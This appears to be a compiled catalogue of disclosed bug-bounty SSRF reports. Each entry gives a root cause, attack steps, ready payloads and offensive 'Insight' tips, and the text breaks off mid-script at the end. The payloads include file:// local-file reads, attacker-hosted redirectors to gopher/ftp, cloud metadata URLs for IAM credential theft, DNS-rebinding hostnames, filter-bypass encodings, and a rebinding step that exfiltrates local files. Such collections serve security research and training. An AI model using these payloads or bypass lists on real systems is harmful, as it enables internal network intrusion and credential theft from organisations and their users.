Insight — On any WordPress target, always check xmlrpc.php: system.listMethods reveals pingback.ping (SSRF/blind port scan) and system.multicall (login brute-force amplification, reflective DoS). Enabled xmlrpc is a recon quick-win.
Real-world example
file:// SSRF via uploaded HTML for local file disclosure
◆ Medium
Specimen #746541 · nextcloud · none · 6 votes · resolved
Program nextcloudSurface mobile-iosChain File upload (content-type swap) -> HTML render -> fileTag file-upload
Root cause
Uploaded content whose extension/content-type is changed to HTML is rendered in an app context that honours file:// URLs, so an <iframe src=file://...> reads local files; a self-locating payload first leaks the app's storage path.
Method
- Upload a file, then change its content/extension to HTML
- Leak the app path with a self-writing payload: <svg/onload=document.write(document.location)>
- Upload HTML that iframes a local file via file:// using the discovered path
- Open it and read the local file contents
<svg/onload=document.write(document.location)>
<iframe src="file:///path/to/ssrfpoc.txt" width="400" height="400"></iframe>
Insight — When a webview/renderer will display attacker HTML, file:// is an SSRF-to-local-file-read primitive. First use a location-leaking payload to learn the sandbox path, then iframe file:// targets. Test extension/content-type mutation on upload features that later render files.
Real-world example
SSRF + port scan via image-fetch param, scheme/port filter bypassed with attacker redirect
◆ Medium
Specimen #67389 · shopify · awarded · 5 votes · resolved
Program shopifySurface webChain SSRF -> internal/loopback port scanning (XSPA)
Root cause
A server-side image fetcher (src= in files.json) validates the scheme/port of the submitted URL but follows HTTP redirects without re-validating the target, so an attacker-controlled redirector reaches blocked ports/hosts.
Method
- Find a feature that fetches a remote image by URL (product/collection/frontpage 'insert image')
- Submit a direct disallowed-port URL and note it is rejected with 422
- Host a redirector (r.php?r=TARGET) on an allowed http(s) origin
- Submit src=http://attacker.tld/r.php?r=http://TARGET:PORT and read the response-code oracle: 500 = port open, 422 = port closed
- Iterate ports to map internal/loopback hosts from the app's network
POST /admin/settings/files.json HTTP/1.1
Host: shop.myshopify.com
X-CSRF-Token: <token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
src=http%3A%2F%2Fattacker.tld/r.php?r=http://TARGET:PORT
Insight — URL/scheme allowlists on SSRF sinks are commonly enforced only on the first hop. Always retest with an open redirect / your own 3xx redirector to reach filtered schemes, ports and internal IPs; response-code or timing differences become a port-scan oracle.
Real-world example
undici pathname absolute/protocol-relative URL host override (CVE-2022-35949)
◆ Medium
Specimen #1663788 · ibb · awarded · 5 votes · resolved
Program ibbSurface apiTag cloud-aws
Root cause
undici.request combines the user-controlled path/pathname option with the base origin; supplying an absolute or protocol-relative value ('//127.0.0.1' or 'http://127.0.0.1') makes the effective request target that host instead of the fixed origin.
Method
- Find Node code passing user input into the path/pathname option of undici.request while assuming origin is fixed
- Set pathname to a protocol-relative or absolute URL pointing at an internal host
- Request is dispatched to the injected host, not the origin
const undici = require("undici")
undici.request({origin: "http://example.com", pathname: "//127.0.0.1"})
// actually requests http://127.0.0.1/
Insight — Developers assume 'only the path is user-controlled, host is safe.' When a client library merges path onto a base URL, a leading // or scheme in the path can hijack the host. Test //attacker and http://attacker in any 'path'/'endpoint'/'route' parameter of Node HTTP clients.
Real-world example
WebLogic UDDI SearchPublicRegistries.jsp SSRF (CVE-2014-4210)
◆ Medium
Specimen #300513 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webChain SSRF -> internal port scanTag cloud-aws
Root cause
The publicly exposed WebLogic UDDI explorer (uddiexplorer/SearchPublicRegistries.jsp) lets an unauthenticated user set the 'operator' parameter to an arbitrary host:port, and verbose responses reveal whether a service is listening.
Method
- Locate an exposed WebLogic /uddiexplorer/SearchPublicRegistries.jsp
- Set operator= to the internal host:port to probe
- Infer open/closed from the verbose response
https://TARGET/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Insight — Legacy middleware ships SSRF-able admin/demo apps -- WebLogic uddiexplorer (CVE-2014-4210/-4241) is a classic unauth SSRF/XSS. Fingerprint Oracle Fusion Middleware/WebLogic and check for the uddiexplorer path; patch level (pre-July-2014 CPU) gauges exploitability.
Real-world example
DNS-rebinding bypass of Node --inspect via invalid octal IP
◆ Medium
Specimen #1710652 · nodejs · none · 4 votes · resolved
Program nodejsSurface otherChain DNS rebinding -> reach localhost inspector -> arbitrar
Root cause
Node's --inspect debugger only accepts requests whose Host resolves to localhost, but its IP validator rejects the octal form (e.g. 1.09.0.0 is invalid octal). Browsers still DNS-resolve the malformed address, so an attacker-controlled name that rebinds to 127.0.0.1 reaches the inspector and can run code in the debugged process.
Method
- Host a name that first resolves to attacker IP then rebinds to 127.0.0.1 (or use an invalid-octal IP the validator misses).
- Lure a developer running node --inspect (e.g. via VS Code) to the malicious page.
- Browser connects to :9229, page drives the inspector protocol to evaluate arbitrary code.
# /etc/hosts demo proving the browser resolves the invalid-octal host:
127.0.0.1 1.09.0.0
# node --inspect running; visit http://1.09.0.0:9229/json in Firefox
# -> /json responds, i.e. the anti-rebinding host check was bypassed
Insight — Anti-DNS-rebinding host allowlists must canonicalize IPs; parsers that reject 'invalid' octal/hex/decimal-int IP encodings while browsers still resolve them create a rebinding bypass. Applies to any localhost-only debug/admin port (9229 inspector, dev servers).
Real-world example
SSRF to cloud metadata / user-data (169.254.169.254)
◆ Medium
Specimen #53088 · phabricator · awarded · 4 votes · resolved
Program phabricatorSurface webChain SSRF -> cloud metadata/user-data secrets -> credentialTag cloud-aws
Root cause
A server-side URL fetch (image/meme creation) has no allowlist, letting an attacker point it at the link-local metadata service reachable only from the instance, exposing instance metadata and startup user-data (which often embeds secrets).
Method
- Find a feature that fetches an attacker-supplied URL server-side
- Point it at the cloud metadata IP
- Read hostname, IAM/keys, and especially /latest/user-data startup scripts
- Pivot to localhost-bound services (monitoring, NoSQL, admin UIs)
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/user-data
# also probe localhost services: http://127.0.0.1:<port>/
Insight — Any image-fetch / URL-preview / webhook / PDF-render parameter is an SSRF sink; the first escalations to try are EC2/OpenStack IMDS (169.254.169.254) meta-data + user-data, then localhost-bound internal services.
Real-world example
CSRF -> internal GET SSRF via Press This scan (0.0.0.0 filter bypass)
◆ Medium
Specimen #110801 · automattic · awarded · 3 votes · resolved
Program automatticSurface webChain CSRF (tokenless GET scan) -> server-side fetch -> SSRF
Root cause
WordPress Press This scan endpoint fetches a user-supplied URL on a tokenless GET, so an attacker can CSRF a logged-in admin into making the server issue SSRF requests; the URL filter fails to block 0.0.0.0 which routes to loopback/internal ports.
Method
- Point the scan endpoint's u= param at an internal target via 0.0.0.0:PORT
- Deliver as <img> to a logged-in WP user (CSRF, no token on the GET)
- Server-side fetch hits internal service; 127.0.0.1/localhost blocks are bypassed via 0.0.0.0
<img src="//myWordpress.com/wp-admin/press-this.php?u=http://0.0.0.0:8080&url-scan-submit=Scan">
Insight — Chain CSRF with a URL-fetch feature to reach SSRF from an unauthenticated attacker (the victim supplies auth). For the SSRF filter, 0.0.0.0 is a classic bypass of 127.0.0.1/localhost denylists and routes to loopback on Linux.
Real-world example
SSRF/port-scan via server-validation URL field in signup
◆ Medium
Specimen #16571 · relateiq · awarded · 3 votes · resolved
Program relateiqSurface webTag cloud-aws
Root cause
A 'custom server' URL supplied during registration is fetched server-side (Office365 account validation) with no host allowlist, letting the client point it at arbitrary hosts/ports.
Method
- Find a field where the app validates/connects to a user-supplied server URL (here validateOffice365Account in a GWT-RPC call).
- Replace the target with https://127.0.0.1:PORT or an internal IP:port.
- Read the differential response to infer port state: open port -> 504 Gateway Timeout or 'connection was closed: unexpected error on send'; closed/filtered -> 'Unable to connect to the remote server'.
- Sweep top ports against localhost/internal ranges to map internal services.
POST /app/GWT.rpc HTTP/1.1
Host: app.relateiq.com
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Module-Base: https://app.relateiq.com/app/
7|2|10|https://app.relateiq.com/app/|...|com.relateiq.web.client.UtilityService|validateOffice365Account|java.lang.String/2004016611|123@123.com|123|https://127.0.0.1:1|1|2|3|4|5|6|4|7|7|7|7|8|9|9|10|
Insight — Any parameter that names a 'server', 'host', or account-validation endpoint the backend then connects to is an SSRF sink. You don't need a full response body: distinct error strings/status codes for open vs closed ports give a blind port-scan oracle.
Real-world example
SSRF/XSPA via video-import-by-URL parameter
◆ Medium
Specimen #77817 · ok · awarded · 2 votes · resolved
Program okSurface webChain SSRF -> internal port scan / loopback -> pivot to siblTag webhook
Root cause
The 'add video by URL' feature (grabMovie) fetches an attacker-supplied link with insufficient URL filtering and no request rate limiting, enabling SSRF/XSPA: internal port scanning, loopback access, and probing sibling infra (e.g. mail.ru photo hosts).
Method
- Find the video-import endpoint that fetches a user-supplied link
- Submit link= pointing at internal hosts/ports (127.0.0.1:PORT, internal.svc:PORT)
- Infer open/closed ports from response/timing differences; repeat freely (no rate limit)
POST /dk?cmd=videoCommand&a=grabMovie HTTP/1.1
Host: ok.ru
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
link=http://127.0.0.1:PORT/
Insight — URL-fetch / media-import parameters (grabMovie, avatar_url, webhook, preview) are prime SSRF sinks. Always test loopback, internal hostnames, and cloud metadata; missing rate limits turn it into a full internal port scanner (XSPA).
Real-world example
Unauthenticated CORS-proxy route in deployed OSS app -> SSRF + reflected XSS
◆ Medium
Specimen #1540906 · uber · $2000 · 30 votes · resolved
Program uberSurface webChain OSS CORS proxy -> SSRF (+ reflected XSS via proxied HTML)Tag cors
Root cause
An internet-exposed Flyte Console instance shipped an unauthenticated 'CORS proxy' route that forwards an arbitrary request and returns the response - a classic full SSRF that also proxies arbitrary HTML (reflected XSS). Assigned CVE-2022-24856.
Method
- Fingerprint the deployed OSS app (Flyte Console) on the target
- Audit its open-source code for unauthenticated proxy/cors/fetch routes
- Hit the CORS-proxy route with an arbitrary internal URL; read the returned response (and proxy HTML for reflected XSS)
Insight — When you identify a known open-source app on a target, grep its source for proxy/cors/forward routes that lack auth - these are pre-built SSRF endpoints. Map the deployed version to the repo and test each such route directly.
Real-world example
Blind SSRF via Sentry source-code scraping (filename in error store)
◆ Low
Specimen #374737 · security · 3500 · 141 votes · resolved
Program securitySurface webChain forged Sentry event -> source-scrape blind SSRFTag webhook
Root cause
A misconfigured Sentry with 'scrape source code' enabled makes blind GET requests to the filename URLs in submitted error/stacktrace events, including internal hosts.
Method
- Find the Sentry key (e.g. in CSP report-uri: ?sentry_key=...)
- POST a crafted error event to /api/<proj>/store/?sentry_key=... with a stacktrace frame whose filename points at your (or an internal) URL
- Observe the server's blind GET callback
POST /api/30/store/?sentry_version=7&sentry_client=raven-js%2F3.25.2&sentry_key=<KEY>
{... "stacktrace":{"frames":[{"filename":"http://YOURHOST/",...}]} ...}
# fix: disable 'scrape source code' in Sentry
Insight — Third-party telemetry (Sentry) can be an SSRF gadget: source-code scraping fetches attacker-controlled stacktrace filename URLs. Grab the sentry_key from CSP/JS and forge store events. Any error-ingestion service that 'enriches' by fetching URLs is suspect.
Real-world example
SVG image xlink:href SSRF via Content-Type bypass on upload
◆ Low
Specimen #223203 · shopify · 500 · 80 votes · resolved
Program shopifySurface webChain SVG upload SSRF -> port scan + local library-version fingTag file-upload
Root cause
Product-image upload processed the file before validating type; sending Content-Type image/svg+xml with a .png filename let an SVG be parsed, and its <image xlink:href> fetched arbitrary http/ftp URLs server-side.
Method
- Upload a product image with filename=*.png but Content-Type image/svg+xml and SVG body
- Use <image xlink:href="http://EXAMPLE/x.jpg"> for outbound SSRF (http and ftp work)
- Two image refs where the first is a local image path acts as a file-presence oracle and library-version fingerprint
- Enumerate ports (only 113 was outbound-filtered)
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/usr/share/doc/libpng12-dev/examples/pngtest.png" />
<image height="30" width="30" xlink:href="http://EXAMPLE:999/example.png" />
</svg>
Insight — Type checks that run AFTER parsing are bypassable by mismatching filename vs Content-Type. SVG <image xlink:href> is an SSRF sink even when the upload is 'rejected' (422) because the fetch already happened. Local-image-first + remote-image-second gives a file-existence/version oracle (only image files leak).
Real-world example
SVG->PNG converter SSRF via user-controlled xlink:href
◆ Low
Specimen #409701 · shopify · USD 500 · 56 votes · resolved
Program shopifySurface webTag cloud-awsTag file-upload
Root cause
A logo/image generator accepts raw SVG from the client (over WebSocket) and rasterizes it server-side; attacker-controlled xlink:href in the SVG causes the converter to fetch local/remote resources (SSRF, local file read, image-lib exploits).
Method
- Find a client-side image/logo editor that sends SVG to a server converter
- Intercept and inject a custom xlink:href referencing internal URL or local file
- Retrieve the rendered PNG to read the fetched content
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="http://169.254.169.254/latest/meta-data/"/></svg>
Insight — Server-side SVG/image conversion is an SSRF + XXE + file-read sink; never trust client-supplied SVG - send only structured parameters. Also try file://, billion-laughs, ImageTragick.
Real-world example
Sentry source-code-scraping misconfig -> blind SSRF
◆ Low
Specimen #1467044 · cloudflare · awarded · 53 votes · resolved
Program cloudflareSurface web
Root cause
Sentry's source-context/code-scraping feature, when enabled, fetches URLs referenced in stack frames server-side using the app's infrastructure, giving an attacker who can influence those URLs a blind SSRF.
Method
- Identify an app using Sentry with source-code fetching enabled
- Cause a stack frame / source-map URL to point at an internal/collaborator host
- Sentry backend fetches it -> blind SSRF
# influence Sentry frame/source URL -> Sentry backend performs server-side fetch of attacker URL
Insight — Error-monitoring tooling (Sentry source scraping) is an overlooked SSRF surface; disable remote source fetching. Look for third-party observability integrations that fetch URLs.
Real-world example
SSRF deny-list bypass via trailing dot (FQDN)
◆ Low
Specimen #1410214 · stripe · awarded · 49 votes · resolved
Program stripeSurface other
Root cause
Stripe's Smokescreen egress proxy compared the request host against its deny list, but appending a trailing dot (fully-qualified 'host.') produced a string that failed the deny-list match while still resolving to the same target.
Method
- Identify an egress filter/deny-list that matches on hostname string
- Append a trailing dot to the blocked host
- Request passes the filter but DNS resolves normally
http://blocked-internal-host./path # trailing dot bypasses string-based denylist match
Insight — Hostname denylists/allowlists that don't normalize the trailing dot are bypassable; always test host. (FQDN form), added ports, and case variations.
Real-world example
Avatar 'upload from URL' SSRF via hidden input type toggle (CVE-2017-0889)
◆ Low
Specimen #713 · security · awarded · 43 votes · resolved
Program securitySurface webTag cloud-aws
Root cause
A profile-photo uploader supports both file and URL modes; switching the input from type=file to type=url in the DOM lets the user submit an arbitrary URL the server fetches server-side (image-from-URL SSRF).
Method
- Find an avatar/image upload form
- Edit the DOM to change the file input to type=url (or find the hidden url-mode param)
- Submit an internal/collaborator URL as the image source
<!-- change <input type=file> to <input type=url> and submit -->
url=http://169.254.169.254/latest/meta-data/
Insight — Avatar/image 'upload from URL' features are the archetypal SSRF sink; look for a hidden url-mode even when only file upload is shown in the UI.
Real-world example
SSRF url-param filter bypass via LF (%0A) prefix + timing/differential oracle
◆ Low
Specimen #514224 · gsa_bbp · USD 150 · 42 votes · resolved
Program gsa_bbpSurface webTag cloud-aws
Root cause
A help-docs endpoint validated the url param but was bypassed by prefixing an internal URL followed by a line feed (%0A) and then the expected value; internal ports were then enumerated by response-time and IMDS existence probed by empty-vs-error body.
Method
- Find a url param validated against an allowed value
- Prefix your target then %0A then the allowed URL: url=http://127.0.0.1:PORT/?%0A<allowed>
- Use response time (slow=open) and body differential (empty=path exists) to scan and probe IMDS
GET /help_docs?url=http://127.0.0.1:22/?%0Ahttps%3A%2F%2Fallowed.gov%2Fmanual%2Faccount.html
# open port -> ~10s; closed -> ~450ms
GET /help_docs?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/?%0A<allowed>
# empty body => path exists; 'Unable to retrieve' => does not exist
Insight — CRLF/LF injection into a fetched URL splits validators from the real request; combine with timing (port scan) and body-length differentials (path-existence oracle) to map internal services and IMDS blind.
Real-world example
SSRF via image-upload-by-URL with protocol-wrapper redirect
◆ Low
Specimen #228377 · Discourse · USD 64 · 32 votes · resolved
Program DiscourseSurface web
Root cause
The server-side image fetcher (Ruby client) followed user-supplied image URLs and honored 302 redirects into non-HTTP schemes, letting an attacker reach internal hosts and speak ftp:// / gopher:// via a redirecting PHP endpoint.
Method
- Post a private message containing a markdown image pointing to your server: http://ATTACKER/malicious.php
- Have malicious.php return a redirect to the target scheme/host
- Discourse's server fetches the image, follows the redirect, and connects to the internal/arbitrary destination
- Confirm via your server's access/ftp logs
<?php header('Location: gopher://192.166.218.53:80/test123'); ?>
// or
<?php header('Location: ftp://192.166.218.53/'); ?>
// message body
TEST [](http://ATTACKER/malicious.php)
Insight — Image-fetch/URL-preview features are prime SSRF sinks. Even if the direct URL is validated, a 302 redirect to gopher:/ftp:/dict: often slips through because only the first hop is checked. Use a redirector to smuggle the forbidden scheme.
Real-world example
FTP PASV response port scanning (curl CVE-2020-8284)
◆ Low
Specimen #1040166 · curl · awarded · 30 votes · resolved
Program curlSurface otherChain Web SSRF -> curl FTP -> PASV-directed internal port sc
Root cause
curl trusted the IP/port a malicious FTP server returned in its PASV response for the data channel (CURLOPT_FTP_SKIP_PASV_IP off by default), so an attacker controlling the FTP URL can make the curl host connect to arbitrary internal IP:port.
Method
- Find an SSRF where the server calls curl on an attacker-supplied URL
- Point it at your malicious FTP server (ftp://ATTACKER/)
- Have the FTP server's PASV reply advertise TARGET_IP:PORT for the data connection
- Classify port state by curl's behavior: TYPE after PASV = open, ~1s timeout = filtered, immediate close = closed
- Banner-grab (e.g. host:22) to leak service versions back through the data channel
# malicious PASV reply steers data channel:
227 Entering Passive Mode (127,0,0,1,0,80) # -> connect to 127.0.0.1:80
# open port -> 'TYPE I' sent after PASV
# filtered -> ~1000ms timeout after PASV
# closed -> control channel closed immediately after PASV
Insight — When SSRF can reach an ftp:// URL, a custom FTP server turns curl into an internal port scanner and banner grabber via PASV. Use the timing/response oracle to map the internal network without any HTTP.
Real-world example
SSRF filter bypass via non-standard cloud metadata endpoints
◆ Low
Specimen #1608039 · nextcloud · $250 · 30 votes · resolved
Program nextcloudSurface webChain filter bypass -> cloud metadata on GCP/AlibabaTag cloud-gcpTag cloud-azure
Root cause
Nextcloud's IP filter relied on PHP FILTER_FLAG_NO_PRIV_RANGE|NO_RES_RANGE, which does not cover Alibaba metadata (100.100.100.200) nor the GCP metadata hostname metadata.google.internal, so those endpoints slip through on GCP/Alibaba-hosted instances.
Method
- Confirm the app blocks 127.0.0.1 and 169.254.169.254 (in NO_RES_RANGE)
- Supply http://100.100.100.200/ (Alibaba metadata) - not in any PHP reserved/private range
- Or supply http://metadata.google.internal/ - a hostname, so IP-range filters never see a reserved IP
http://100.100.100.200/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
Insight — IP-range allow/deny filters miss cloud metadata that lives outside 169.254/RFC1918: Alibaba 100.100.100.200 (RFC6598 shared range) and GCP's metadata.google.internal hostname. Always test provider-specific metadata addresses matched to where the target is hosted.
Real-world example
SSRF filter bypass via IPv4-mapped IPv6 embedding
◆ Low
Specimen #642675 · infogram · none · 28 votes · resolved
Program infogramSurface apiChain filter bypass -> loopback reach
Root cause
A URL-fetch endpoint blocked dotted-decimal internal IPs but accepted the IPv4-mapped IPv6 form, which resolves to the same loopback address the filter thought it had blocked.
Method
- Confirm 127.0.0.1 is blocked on the web_resource/url fetcher
- Submit the IPv4-mapped IPv6 form of 127.0.0.1 in bracket notation
https://infogram.com/api/web_resource/url?q=http://[0:0:0:0:0:ffff:127.0.0.1]
Insight — Add IPv4-in-IPv6 forms to your SSRF bypass wordlist: [::ffff:127.0.0.1], [0:0:0:0:0:ffff:127.0.0.1], and [::ffff:a9fe:a9fe] for 169.254.169.254. IPv4-only blacklists routinely miss these.
Real-world example
ML image-classification API fetches images[] URL -> full SSRF
◆ Low
Specimen #206894 · lyst · awarded · 21 votes · resolved
Program lystSurface apiChain image-classification fetch -> internal port reach / IP+UA
Root cause
An unauthenticated inference endpoint downloads each URL in an images[] array to classify it, so pointing images[] at http://127.0.0.1:8080/ makes the server fetch internal resources and the classification response confirms reachability.
Method
- POST to the classification endpoint with images[] set to an internal URL
- A 200 with a classification result confirms the internal fetch succeeded; point images[] at your host to leak the source IP and library User-Agent (e.g. python-requests)
POST /models/default/classification/color HTTP/1.1
Host: iris.lystit.com
Content-Type: application/json
{ "images": ["http://127.0.0.1:8080/static/.../wordnik_api.png"] }
Insight — Any ML/vision/OCR/'analyze this image URL' API is an SSRF sink. Even when the body isn't reflected, success vs error and timing give a blind oracle; test internal ports and metadata.
Real-world example
Website-icon fetch SSRF: 0.0.0.0/169.254 filter bypass + redirect-follow + TOCTOU DNS rebind
◆ Low
Specimen #925527 · bitwarden · none · 21 votes · resolved
Program bitwardenSurface webTag cloud-aws
Root cause
A URL-preview/icon-fetch service resolves a user domain and blocks 'private' IPs, but the blocklist misses 0.0.0.0 (routes to 127.0.0.1) and the cloud metadata range 169.254.0.0/16; it also follows HTTP redirects and re-resolves DNS after the check.
Method
- Add a credential with URL = attacker domain whose nameserver you control
- Server fetches icon, follows 302 redirect to http://0.0.0.0/ or http://169.254.169.254/
- Or defeat the IP check with TOCTOU: first A-record answer = public IP (TTL 0), second resolution = private IP
A www.attacker.com PUBLIC.IP
A .*.local.attacker.com 0.0.0.0
# index.php served on public host:
<?php header("location: http://test.local.attacker.com/latest/meta-data/"); exit();
Insight — When testing SSRF blocklists always try 0.0.0.0 (==127.0.0.1) and 169.254.169.254; if the server follows redirects, host the bypass IP behind a 302; if it re-resolves DNS, a low-TTL rebind defeats a check-then-fetch design.
Real-world example
Whitelist bypass via backslash credential-host parsing
◆ Low
Specimen #1747596 · us-department-of-state · none · 21 votes · resolved
Program us-department-of-stateSurface webTag cloud-aws
Root cause
A proxy validates that a whitelisted host appears in the URL, but the backend URL parser treats text before a backslash-@ as the real host, so the whitelisted host after @ is ignored while the request goes to the attacker/internal host before it.
Method
- Find proxy endpoint that whitelists its own domain: /proxy/?url=allowed.host
- Inject target before backslash-at: http://TARGET\\@allowed.host
- Alive internal hosts return a different status (e.g. 404) than dead ones (no response)
/proxy/?url=http://169.254.169.254\@geonode.state.gov
/proxy/?url=http://COLLAB\@geonode.state.gov
Insight — URL-whitelist checks and the actual fetcher often parse authority differently; try backslash-@, @, #, and backslash tricks so the whitelisted host is parsed as userinfo while the request targets an internal IP.
Real-world example
HTML/PDF sanitizer bypass to inject iframe -> SSRF to Kubernetes API
◆ Low
Specimen #1115139 · shopify · awarded · 20 votes · resolved
Program shopifySurface webTag file-upload
Root cause
An HTML-to-PDF template renderer strips <iframe>, but prefixing broken/nested tags reopens the parser context so the iframe survives sanitization and the headless renderer fetches its src server-side.
Method
- Confirm plain <iframe> is stripped from the template
- Prefix with <svg><style><h1/> to bypass the filter
- Point iframe src at internal HTTPS services (k8s API served over HTTPS)
<svg><style><h1/><iframe src="https://kubernetes.default.svc/info" width=1001 height=1001>
<svg><style><h1/><iframe src="https://kubernetes.default.svc/livez?verbose" width=1001 height=1001>
Insight — Any 'render HTML/Markdown to PDF/image' feature is an SSRF sink; if a tag is filtered, mutation-parser tricks (<svg><style><h1/>) often smuggle it back. HTTPS-only fetchers can still reach kubernetes.default.svc.
Real-world example
SSRF deny-list bypass by bracket-wrapping the hostname
◆ Low
Specimen #1528242 · stripe · awarded · 19 votes · resolved
Program stripeSurface other
Root cause
Smokescreen's deny-list matched a bare hostname, but a host wrapped in square brackets (IPv6 literal syntax) with an optional port parsed to the same destination while evading the block.
Method
- Route an outbound request through the proxy to a denied host
- Wrap the host in [] and optionally append a port
- Request reaches the otherwise-denied destination
http://[example.com]:80/ # bypasses deny-list for example.com
Insight — Against SSRF filters/allow-deny proxies, fuzz host representations: [host], host., decimal/hex/octal IP, 0x/0., trailing dot, userinfo@, and IPv6-mapped forms - the resolver and the filter often disagree.
Real-world example
Admin Jabber-server config SSRF -> port scan + version banner
◆ Low
Specimen #1018568 · phpbb · none · 12 votes · resolved
Program phpbbSurface web
Root cause
The ACP Jabber settings let an admin set an arbitrary host:port for the XMPP server; phpBB connects to it and prints socket errors / auth failures, enabling loopback port scanning and service-version disclosure.
Method
- ACP -> Jabber settings, set server=127.0.0.1, port=target
- Submit and read the returned message
- Closed=Connection refused; open non-XMPP=auth error / version banner leak
jabber server: 127.0.0.1
jabber port: 2222 -> leaks sshd version banner
jabber port: 3306 -> 'Could not authorize on Jabber server' (open)
Insight — Non-HTTP client config (XMPP/SMTP/LDAP host fields) are SSRF sinks too; the app's connection error text acts as a port/service oracle and can echo TCP banners of the probed service.
Real-world example
Mail account setup imapHost SSRF with timing-based port scan
◆ Low
Specimen #1736390 · nextcloud · awarded · 12 votes · resolved
Program nextcloudSurface web
Root cause
Adding a mail account posts imapHost/imapPort which the server connects to; with SSL disabled, connect-time differences let a blind SSRF port-scan the internal network by response time.
Method
- POST /apps/mail/api/accounts with imapHost=127.0.0.1, imapPort=<n>, imapSslMode=none
- Measure response time via Burp Intruder
- Fast (<100ms)=closed; slow (>1s)=open/service present
{"imapHost":"127.0.0.1","imapPort":6379,"imapSslMode":"none","imapUser":"x","imapPassword":"x","smtpSslMode":"none","accountName":"x","emailAddress":"x"}
Insight — Mail/IMAP/SMTP host fields are SSRF sinks; when responses are identical, use connection timing as the oracle and keep SSL mode 'none' so the TCP connect itself (not a TLS error) drives the timing.
Real-world example
URL-shortener redirect bypasses SSRF filter for blind port scan
◆ Low
Specimen #287496 · infogram · none · 11 votes · resolved
Program infogramSurface web
Root cause
A web_resource endpoint blocks direct internal URLs but follows redirects without re-validating, so a shortener/redirector pointing at an internal host reaches it; the returned metadata/differential reveals port state.
Method
- Create a tinyurl that redirects to http://0:PORT/
- Submit it to the filtered endpoint: /api/web_resource/url?q=<shortlink>
- Differential response (title/metadata vs error) indicates open port
https://infogram.com/api/web_resource/url?q=https://tinyurl.com/<id> -> redirects to http://0:6000/
Insight — If an SSRF filter validates the submitted URL but follows redirects, host the internal target behind a 3xx (URL shortener or your own 302). http://0:PORT/ is a compact loopback form.
Real-world example
Smokescreen deny_list bypass via double brackets
◆ Low
Specimen #1580495 · stripe · awarded · 11 votes · resolved
Program stripeSurface other
Root cause
Stripe's Smokescreen egress proxy stripped only a single set of brackets before matching a domain against its deny_list, so wrapping the host in double brackets evaded the rule and let the request through to a denied destination.
Method
- Target traffic egressing through Smokescreen with a deny_list
- Wrap the denied host in double brackets so one strip leaves [host]
- Request passes the deny check and reaches the blocked host
http://[[denied.internal.host]]/ # after single-strip -> [denied.internal.host], deny_list misses it
Insight — Normalization that runs once (strip brackets/quotes/encoding a single time) is bypassable by doubling the wrapper; test double brackets, double-URL-encoding, and repeated prefixes against allow/deny proxies and SSRF filters.
Real-world example
Blind SSRF via mail-server config host params (timing port scan)
◆ Low
Specimen #1746582 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface webTag webhook
Root cause
IMAP/SMTP/Sieve host fields in a mail account setup are used verbatim as connection targets with no internal-host filtering, so 127.0.0.1 / RFC1918 addresses can be probed; open vs closed ports are distinguished purely by response time.
Method
- Add/configure a mail account; supply valid IMAP settings first so validation proceeds to the SMTP/Sieve check
- Set smtpHost (or sieveHost with sieveSslMode=none) to an internal IP:port
- Measure response time: >1000ms = host up / port open; <100ms = closed/unreachable
- Sweep ports with Burp Intruder to map internal services
{"imapHost":"ssl0.ovh.net","imapPort":993,"imapSslMode":"ssl","imapUser":"x","imapPassword":"x","smtpHost":"127.0.0.1","smtpPort":8080,"smtpSslMode":"none","smtpUser":"x","smtpPassword":"x","accountName":"Test1","emailAddress":"x@x.org"}
# sieve variant:
{"sieveEnabled":true,"sieveHost":"127.0.0.1","sievePort":"80","sieveUser":"","sievePassword":"","sieveSslMode":"none"}
Insight — Any host/port field in mail (IMAP/SMTP/Sieve), LDAP, DB, or 'connect to my server' style config is a blind-SSRF port scanner. Multi-field forms often validate stages in order -- satisfy the earlier field with real creds to reach the vulnerable later field. Use response-time deltas as the open/closed oracle when there's no body.
Real-world example
DNS rebinding to bypass IMDS SSRF filter
◆ Low
Specimen #1369312 · concretecms · none · 10 votes · resolved
Program concretecmsSurface webChain DNS rebind -> SSRF -> AWS IMDS -> IAM credential thTag cloud-aws
Root cause
SSRF mitigations resolve+validate the hostname once, then the HTTP client resolves it again at connect time; an attacker-controlled domain that flips between a public IP (validation) and 169.254.169.254 (connect) defeats the check (TOCTOU on DNS).
Method
- Point the fetch at an attacker DNS name that alternates answers (public IP, then 169.254.169.254)
- App validates the first (allowed) resolution
- On the actual fetch the name re-resolves to the metadata IP
- Read AWS IAM keys from the metadata response
# using a rebinding service, e.g. 1u.ms:
http://make-1.2.3.4-rebind-169.254.169.254-...rr.1u.ms/latest/meta-data/iam/security-credentials/
Insight — Any SSRF defense that validates a hostname separately from the connection is beatable by DNS rebinding. When an IP allowlist blocks 169.254.169.254 directly, switch to a rebinding hostname (1u.ms, rbndr, custom TTL=0 DNS). Also a reason to prefer IMDSv2 and to pin the resolved IP through the whole request.
Real-world example
DNS rebinding against a browser extension's localhost file server
◆ Low
Specimen #663729 · brave · awarded · 9 votes · resolved
Program braveSurface desktopTag cors
Root cause
A locally-bound HTTP server (Brave's built-in WebTorrent extension) serves downloaded files without validating the Host header, so any remote site that rebinds its DNS to 127.0.0.1 can read localhost responses cross-origin.
Method
- Find/guess the local server port (WebTorrent serves finished torrents on a random localhost port, e.g. http://127.0.0.1:50210/0)
- Host attacker page on a domain whose DNS TTL is ~0; first resolve to attacker IP to load the JS, then rebind the same hostname to 127.0.0.1
- From the page, XHR/fetch same-origin path /0 (or /<index>) against the now-127.0.0.1 target and read the response body
- Exfiltrate the downloaded file contents to the attacker
<script>
function start(){
let xhr=new XMLHttpRequest();
xhr.addEventListener('load',()=>{ /* xhr.response = local file bytes */ });
